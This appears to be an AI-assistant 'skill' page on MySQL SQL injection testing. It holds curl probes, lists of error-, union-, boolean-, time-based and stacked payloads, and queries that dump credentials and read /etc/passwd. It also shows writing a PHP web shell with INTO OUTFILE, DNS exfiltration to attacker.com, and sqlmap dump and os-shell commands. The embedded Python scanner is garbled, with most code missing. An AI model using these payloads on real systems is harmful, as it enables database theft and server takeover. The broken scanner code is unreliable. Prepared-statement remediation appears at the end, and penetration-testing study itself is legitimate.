Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.
A direct command skips the review prompt. Inspect the source before running it.
MySQL-specific SQL injection testing leverages MySQL's unique syntax, functions, and features. MySQL is widely used in web applications (LAMP stack), making it a common target. Key features include information_schema, comment syntax, and specific functions for data extraction and exploitation.
What to Check
MySQL error messages
information_schema access
MySQL-specific functions
Stacked queries
File operations (LOAD_FILE, INTO OUTFILE)
User-defined functions
How to Test
Step 1: MySQL Detection
#!/bin/bash
TARGET="https://target.com/product?id="echo"[*] Testing for MySQL database..."# Error-based detection
curl -s "${TARGET}'" | grep -iE "mysql|MariaDB|syntax.*MySQL|Warning.*mysql"# MySQL comment syntax
curl -s "${TARGET}1--+"
curl -s "${TARGET}1#"
curl -s "${TARGET}1/*comment*/"# Version detection
curl -s "${TARGET}1' AND 1=1 UNION SELECT @@version-- -"# String concatenation (MySQL uses CONCAT or space)
curl -s "${TARGET}1' AND 'test'='te''st"
r"check the manual that corresponds to your (MySQL|MariaDB) server version"
r"MySqlClient\."
r"com\.mysql\.jdbc"
r"Unclosed quotation mark"
r"You have an error in your SQL syntax"
# MySQL-specific payloads
'error_based'
"' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT @@version),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -"
"' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT @@version)))-- -"
"' AND UPDATEXML(1,CONCAT(0x7e,(SELECT @@version)),1)-- -"
"' AND EXP(~(SELECT * FROM (SELECT @@version)x))-- -"
"' AND JSON_KEYS((SELECT CONVERT((SELECT @@version) USING utf8)))-- -"
'union_based'
"' UNION SELECT NULL-- -"
"' UNION SELECT NULL,NULL-- -"
"' UNION SELECT NULL,NULL,NULL-- -"
"' UNION SELECT 1,@@version,3-- -"
"' UNION SELECT 1,user(),3-- -"
"' UNION SELECT 1,database(),3-- -"
'boolean_based'
"' AND 1=1-- -"
"' AND 1=2-- -"
"' AND 'a'='a"
"' AND 'a'='b"
"1 AND 1=1"
"1 AND 1=2"
"' AND (SELECT SUBSTRING(@@version,1,1))='5'-- -"
"' AND (SELECT SUBSTRING(@@version,1,1))='4'-- -"
'time_based'
"' AND SLEEP(5)-- -"
"' OR SLEEP(5)-- -"
"' AND (SELECT SLEEP(5))-- -"
"1' AND SLEEP(5)#"
"' AND IF(1=1,SLEEP(5),0)-- -"
"' AND BENCHMARK(5000000,SHA1('test'))-- -"
'stacked'
"'; SELECT SLEEP(5);-- -"
"'; INSERT INTO logs VALUES('injected');-- -"
def
detect_mysql
self, param
"""Detect if backend is MySQL"""
print
f"[*] Detecting MySQL database..."
"' AND 1=1-- -"
"' AND 1=1#"
"1 AND @@version"
"' UNION SELECT @@version-- -"
for
in
try
self
self
for
in
self
if
print
f"[+] MySQL database detected!"
return
True
# Check for MySQL-specific response
if
'mysql'
in
or
'mariadb'
in
print
f"[+] MySQL/MariaDB detected!"
return
True
except
as
pass
return
False
def
test_error_based
self, param
"""Test MySQL error-based injection"""
print
f"\n[*] Testing MySQL error-based injection..."
for
in
self
'error_based'
try
self
self
# Look for version or data in response
if
r'\d+\.\d+\.\d+'
print
f"[VULN] Error-based SQLi!"
print
f" Payload: {payload[:60]}"
self
'type'
'MySQL Error-based SQLi'
'payload'
'severity'
'Critical'
return
True
except
as
pass
return
False
def
test_union_based
self, param
"""Test MySQL UNION-based injection"""
print
f"\n[*] Testing MySQL UNION-based injection..."
# Find column count
for
in
range
1
15
','
'NULL'
f"' UNION SELECT {null_list}-- -"
try
self
self
if
200
False
for
in
self
if
True
break
if
not
print
f"[+] Column count: {i}"
# Extract version
f"' UNION SELECT {','.join(['NULL']*(i-1))},@@version-- -"
self
self
r'(\d+\.\d+\.\d+(?:-[a-zA-Z]+)?)'
if
print
f"[+] MySQL Version: {version_match.group(1)}"
self
'type'
'MySQL UNION-based SQLi'
'columns'
'severity'
'Critical'
return
True
except
as
pass
return
False
def
test_time_based
self, param
"""Test MySQL time-based blind injection"""
print
f"\n[*] Testing MySQL time-based injection..."
# Baseline
self
self
'test'
30
for
in
self
'time_based'
try
self
self
30
if
4
print
f"[VULN] Time-based SQLi!"
print
f" Payload: {payload}"
print
f" Response time: {response_time:.2f}s"
self
'type'
'MySQL Time-based Blind SQLi'
'payload'
'severity'
'Critical'
return
True
except
print
f"[VULN] Time-based SQLi (timeout)!"
self
'type'
'MySQL Time-based Blind SQLi'
'payload'
'severity'
'Critical'
return
True
except
as
pass
return
False
def
test_file_operations
self, param
"""Test MySQL file operations (LOAD_FILE, INTO OUTFILE)"""
print
f"\n[*] Testing MySQL file operations..."
"' UNION SELECT LOAD_FILE('/etc/passwd')-- -"
"' UNION SELECT LOAD_FILE(0x2f6574632f706173737764)-- -"
# Hex encoded
for
in
try
self
self
if
'root:'
in
or
'bin/bash'
in
print
f"[VULN] File read via LOAD_FILE!"
self
'type'
'MySQL File Read'
'payload'
'severity'
'Critical'
return
True
except
as
pass
return
False
def
run_tests
self, param='id'
"""Run all MySQL SQLi tests"""
if
self
self
self
self
self
self
def
generate_report
self
"""Generate findings report"""
print
"\n"
"="
60
print
"MYSQL SQL INJECTION REPORT"
print
"="
60
if
not
self
print
"\nNo MySQL SQLi vulnerabilities found."
else
for
in
self
print
f"\n[{f['severity']}] {f['type']}"
if
'payload'
in
print
f" Payload: {f['payload'][:70]}"
# Usage
"https://target.com/product"
'id'
Step 3: MySQL Data Extraction Queries
-- MySQL VersionSELECT @@versionSELECT VERSION()
-- Current UserSELECTUSER()
SELECTCURRENT_USER()
SELECTSYSTEM_USER()
-- Current DatabaseSELECT DATABASE()
-- List DatabasesSELECT schema_name FROM information_schema.schemata
SELECTDISTINCT(db) FROM mysql.db
-- List TablesSELECT table_name FROM information_schema.tables WHERE table_schema=database()
SELECT table_name FROM information_schema.tables WHERE table_schema='target_db'-- List ColumnsSELECT column_name FROM information_schema.columns WHERE table_name='users'-- Extract DataSELECT CONCAT(username,':',password) FROM users
-- Read FilesSELECT LOAD_FILE('/etc/passwd')
SELECT LOAD_FILE(0x2f6574632f706173737764)
-- Write Files (requires FILE privilege and secure_file_priv)SELECT'content'INTO OUTFILE '/var/www/html/shell.php'SELECT'<?php system($_GET["cmd"]); ?>'INTO OUTFILE '/var/www/html/shell.php'-- DNS ExfiltrationSELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))
Step 4: SQLMap MySQL Commands
# Basic MySQL detection
sqlmap -u "https://target.com/product?id=1" --dbms=mysql
# Get MySQL version
sqlmap -u "https://target.com/product?id=1" --dbms=mysql --banner
# List databases
sqlmap -u "https://target.com/product?id=1" --dbms=mysql --dbs
# List tables
sqlmap -u "https://target.com/product?id=1" --dbms=mysql -D target_db --tables
# List columns
sqlmap -u "https://target.com/product?id=1" --dbms=mysql -D target_db -T users --columns
# Dump data
sqlmap -u "https://target.com/product?id=1" --dbms=mysql -D target_db -T users --dump
# Read file
sqlmap -u "https://target.com/product?id=1" --dbms=mysql --file-read=/etc/passwd
# Write file (shell)
sqlmap -u "https://target.com/product?id=1" --dbms=mysql --os-shell
# Specific techniques
sqlmap -u "https://target.com/product?id=1" --dbms=mysql --technique=U # UNION only
sqlmap -u "https://target.com/product?id=1" --dbms=mysql --technique=T # Time-based only
Tools
Tool
Purpose
SQLMap
Automated MySQL SQLi
MySQL Client
Database client
Burp Suite
Manual testing
MySQL Workbench
GUI client
Remediation
<?php// PHP - PDO prepared statements$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$id]);
// PHP - MySQLi prepared statements$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
?>
# Python - mysql-connectorimport mysql.connector
cursor = connection.cursor(prepared=True)
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))